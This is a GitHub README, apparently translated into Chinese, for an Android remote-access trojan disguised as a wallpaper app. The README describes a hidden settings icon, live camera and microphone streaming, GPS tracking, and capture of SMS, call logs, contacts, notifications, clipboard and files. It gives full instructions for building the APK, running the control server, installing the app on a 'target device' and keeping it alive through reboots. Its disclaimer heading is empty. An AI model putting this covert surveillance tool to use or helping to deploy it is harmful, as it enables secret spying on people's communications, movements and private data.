DhruvAthaide/Android_WebRTC_Spyware
GitHub: DhruvAthaide/Android_WebRTC_Spyware
基于 WebRTC 与 Socket.IO 的 Android 远程管理工具,支持实时音视频流、传感器数据、位置追踪和设备远程控制,通过 Web 仪表盘集中管理。
Stars: 46 | Forks: 24
# 📱 高级 Android WebRTC 安全与远程管理工具 (RAT)
## ⚖️ 法律与道德免责声明
## 🌟 架构概述
本系统采用混合的 P2P 和客户端-服务器架构:
1. **Android 客户端(Java/Kotlin 互操作)**:运行一个持久的、前台优先级的流媒体服务,该服务挂钩到设备硬件(Camera2 API、AudioRecord、LocationManager、SensorManager、ClipboardManager、PackageManager)。
2. **Node.js 信令服务器**:使用 Socket.IO 促进低延迟信令交换(SDP/ICE candidates),管理管理员上传并路由远程命令。
3. **毛玻璃 Web 仪表盘**:一个高级的实时控制室,采用流体毛玻璃效果、响应式控件、基于 Canvas 的传感器图表和实时媒体 pipeline 构建。
```
┌────────────────┐
│ Web Browser │◄─── Audio/Video Streams (P2P via WebRTC) ───┐
│ (Control Panel)│ │
└───────┬────────┘ │
│ │
Socket.IO Signaling │
│ │
▼ │
┌────────────────┐ ┌───────┴────────┐
│ Signaling & │ │ Android App │
│ Admin Server │◄──── Commands, Telemetry, Uploads ───┤(Streaming Serv)│
└────────────────┘ └────────────────┘
```
## ✨ 功能详解
### 🎥 1. 高级实时摄像头流媒体与快照捕获
* **双摄像头画面**:同时传输前置和后置摄像头画面(在运行 Android 9+ 且支持并发摄像头访问的设备上)。
* **热切换分辨率**:在仪表盘上动态更改摄像头分辨率(例如,低、中、高),以优化带宽。
* **单帧快照**:立即从任何摄像头捕获并下载高分辨率快照,而不会中断 WebRTC 流。
### 🎤 2. 双向对讲机(对讲模式)
* **双向回传**:将来自 Web 仪表盘浏览器的麦克风音频直接发送到设备扬声器,同时接收设备的环境音频。
* **音频路由**:利用配置为 `SEND_RECV` 模式的 WebRTC transceivers,并通过使用 `MODE_IN_COMMUNICATION` 的 Android `AudioManager` 进行路由。
### 🎛️ 3. 硬件与环境控制
* **音量控制**:使用滑块远程更改铃声、媒体、闹钟和通知音量。
* **系统亮度**:动态调整屏幕亮度级别。
* **手电筒开关**:远程切换设备的 LED 手电筒。
### 📈 4. 实时环境传感器监控
* **光照传感器**:动态传输环境光亮度(Lux)。
* **加速度计向量**:获取原始的 X、Y、Z 向量读数。
* **实时 Canvas 图表**:在仪表盘上使用 HTML5 Canvas 图表可视化传入的传感器数值。
### 🗣️ 5. 文本转语音 (TTS) 广播
* 在设备上合成并播放响亮的语音消息。
* 非常适合用于远程警告、广播通知或辅助功能。
### 📂 6. 远程文件系统资源管理器与拖放式上传器
* **目录导航器**:浏览目录、查看文件元数据并下载文件。
* **分块大文件下载**:采用可靠的 64KB 分块来安全地下载大文件。
* **拖放式上传器**:将文件拖入仪表盘,使用 base64 分块数据包将它们直接写入设备存储。
### 📋 7. 远程剪贴板同步器
* **获取剪贴板**:检索设备上当前复制的文本。
* **设置剪贴板**:远程将新文本写入设备剪贴板。
* *注意:受限于 Android 10+ 的后台剪贴板限制,已通过 UI 线程执行妥善处理。*
### 🚀 8. 应用启动管理器
* 列出所有已安装的用户和系统应用程序及其包名。
* 即时搜索应用程序,并通过单击远程启动它们。
### 🔋 9. 诊断与遥测仪表盘
* **电源诊断**:实时电池百分比、温度、健康状况和充电状态(交流/USB/无线)。
* **网络速度与质量**:读取当前的 WiFi RSSI(信号强度)、链路速度和 SSID。
* **存储监视器**:显示系统和外部存储的总空间、已用空间和可用空间。
* **位置跟踪**:将实时的 GPS/网络坐标绘制到交互式地图上。
* **个人数据流**:访问实时短信、通话记录、联系人和传入的推送通知。
## 📦 项目结构
```
📦 Android_WebRTC_Spyware/
├── 📱 app/
│ ├── 📝 src/main/java/com/example/wallpaperapplication/
│ │ ├── 🚀 BootReceiver.java # Boot-up service auto-restarter
│ │ ├── ✅ ConsentActivity.java # Permission & terms manager
│ │ ├── ⚙️ Constants.java # Socket events & signaling configuration
│ │ ├── 🏠 MainActivity.java # Main wallpaper customization interface
│ │ ├── 🔗 SdpObserverAdapter.java # WebRTC signaling observer helper
│ │ ├── 📡 StreamingService.java # Core service handling sensors, media & sockets
│ │ ├── ⚙️ StreamingSettingsActivity.java # Settings panel for configuring servers & permissions
│ │ ├── 🎨 WallpaperAdapter.java # Wallpaper gallery grid recycler view
│ │ ├── 🛠️ CameraManager.kt # Kotlin manager for Camera2 and snapshots
│ │ ├── 📂 FileSystemExtension.kt # Kotlin helper for writing upload file chunks
│ │ └── 🔄 DataSyncWorker.java # Periodic background Sync fallback
│ ├── 📋 src/main/AndroidManifest.xml # Permissions, services, receivers, and metadata
│ └── 🔧 build.gradle.kts # Gradle build definitions and dependencies
├── 🖥️ Android-WebRTC-Spyware-Server/
│ ├── ⚡ server.js # Express & Socket.IO telemetry and signaling server
│ ├── 📦 package.json # Node dependencies and execution scripts
│ └── 🌐 public/
│ ├── 🎨 index.html # Premium Glassmorphic Web Dashboard UI
│ └── 🔧 client.js # WebRTC connection, canvas charts & dashboard handlers
└── 📖 README.md # Systems documentation
```
## 🚀 设置与安装说明
本节概述了如何设置 Firebase 集成、编译 APK、运行信令服务器以及配对设备。
### 1️⃣ Firebase 集成(关键)
该应用程序依赖 Google Firebase 服务进行身份验证、通知触发和遥测同步。
#### 如何为您的项目设置 Firebase:
1. 前往 [Firebase 控制台](https://console.firebase.google.com/)。
2. 点击 **Add Project** 并按照提示创建新项目。
3. 在您的项目概述中,点击 **Android 图标** 以添加 Android 应用。
4. 输入包名:`com.example.wallpaperapplication`。
5. 输入您的调试 SHA-1 签名证书指纹(可选,但出于安全考虑建议使用)。
* *要获取您的调试 SHA-1,请在项目目录中打开终端并运行 `./gradlew signingReport`。*
6. 注册应用程序,然后点击 **Download google-services.json**。
7. 复制下载的 `google-services.json` 文件并将其放入本项目的 **`app/`** 目录中:
* 路径:`Android_WebRTC_Spyware/app/google-services.json`
8. 在 Firebase 控制台中,前往 **Build → Realtime Database** 或 **Firestore**(取决于您的日志记录需求)并启用它。
9. 在 **Project Settings → API Keys** 下,确保添加约束以限制您的凭据仅允许从您的应用程序包中运行请求。
### 2️⃣ 配置并启动信令服务器
Node.js 服务器充当浏览器仪表盘与 Android 客户端之间的通信桥梁。
#### 导航至服务器目录:
```
cd Android-WebRTC-Spyware-Server
```
#### 安装依赖项:
确保您已安装 Node.js 16+。安装服务器所需组件:
```
npm install
```
#### 配置服务器 WebRTC 设置(可选):
打开 `public/client.js` 并验证/更新您的 Ice/TURN 设置。默认情况下,系统配置了标准的 Google STUN 服务器:
```
const config = {
iceServers: [
{ urls: 'stun:stun.l.google.com:19302' },
{ urls: 'stun:stun1.l.google.com:19302' }
// Add your TURN servers here if accessing the server outside your local network:
// { urls: 'turn:YOUR_TURN_SERVER', username: 'username', credential: 'password' }
]
};
```
#### 启动服务器:
```
# 运行 server
node server.js
```
服务器将启动并显示:
```
✅ Signaling Server started on port 3000
```
要访问 Web 仪表盘,请导航至 `http://:3000`(例如,如果是本地的,则输入 `http://localhost:3000`)。
### 3️⃣ 配置并编译 Android APK
#### 配置信令端点
1. 在 **Android Studio** 中打开项目。
2. 打开 [Constants.java](file:///d:/AndroidStudioProjects/WallpaperApplication/app/src/main/java/com/example/wallpaperapplication/Constants.java)。
3. 更新 `DEFAULT_SOCKET_URL` 以指向您的信令服务器的 IP 地址:
public static final String DEFAULT_SOCKET_URL = "http://192.168.1.100:3000"; // 替换为您的本地/公共服务器 IP
#### 构建 APK
* **通过 Android Studio UI**:点击 **Build → Build Bundle(s) / APK(s) → Build APK(s)**。
* **通过终端**:在根项目文件夹中运行 Gradle wrapper 脚本:
# Windows Powershell
.\gradlew assembleDebug
# Linux/macOS
./gradlew assembleDebug
生成的 APK 将位于:
`app/build/outputs/apk/debug/app-debug.apk`
## 📱 设备设置与权限
为了确保所有后台功能、传感器、媒体流和文件同步正常工作,且不被 Android 激进的省电机制杀死,请在目标手机上执行以下步骤:
1. 在目标设备上**安装 APK**。
2. 打开应用程序。点击主屏幕右上角的**隐形设置图标**,进入**流媒体设置**菜单。
3. 将**流媒体开关设为开启**。应用程序将请求权限:
* **Camera**:用于实时流媒体和快照捕获。
* **Microphone**:用于音频流媒体和双向回传。
* **Location**:用于实时 GPS 跟踪。
* **Contacts, SMS, Call Logs**:用于获取电话列表和监控短信。
* **Storage / All Files Access**:在 Android 11+ 上必须开启,以便从文件资源管理器中浏览和下载/上传文件。
4. **禁用电池优化**:
* 前往 **Settings → Apps → Wallpaper Application → Battery**。
* 将优化级别更改为 **Unrestricted**(防止 Android 杀死后台服务)。
5. **启用通知监听器访问权限**:
* 前往 **Settings → Security & Privacy → Special App Access → Notification Listener Access**。
* 为该应用程序开启访问权限,以允许仪表盘捕获传入的通知。
## ⚙️ 持久化后台策略
为了即使在应用程序从内存中滑出或系统重新启动时也能保持遥测流媒体服务处于活动状态:
* **前台服务**:该应用程序启动一个带有持久系统托盘通知的高优先级前台服务。
* **开机重启接收器**:`BootReceiver` 捕获 `ACTION_BOOT_COMPLETED` 广播,并在系统启动时立即启动该服务。
* **WorkManager 后备**:一个定期同步工作器(`DataSyncWorker`)每 15 分钟运行一次作为后备约束。如果系统强制关闭主进程,WorkManager 将在后台重启服务组件。
## 🐛 调试与故障排除
### Android 客户端日志
使用 ADB 监控连接生命周期和错误:
```
# 仅监控 streaming service 和 WebRTC 日志
adb logcat -s StreamingService:V CameraManager:V WebRTC:V
```
* **无视频流**:检查摄像头是否已被其他应用程序占用,并验证在 Android 12+ 设备的快捷设置面板中是否已全局启用“摄像头访问权限”。
* **听不到回传音频**:确保已授予浏览器的麦克风权限,并且设备扬声器未静音。
* **后台断开连接**:验证您是否已将此应用程序豁免于电池优化之外。
## 📜 许可证
本项目基于 MIT 许可证授权。出于教育和研究目的,请随意修改和基于此项目进行开发。
🎨 壁纸个性化 + 📡 毛玻璃远程监控控制室
一款双用途 Android 应用程序,将无缝的个性化定制与基于 WebRTC 的高级实时遥测、远程管理和媒体流传输完美结合。
标签:Android, DSL, MITM代理, Socket.IO, WebRTC, 域名枚举, 监控间谍软件, 目录枚举, 移动安全, 远控木马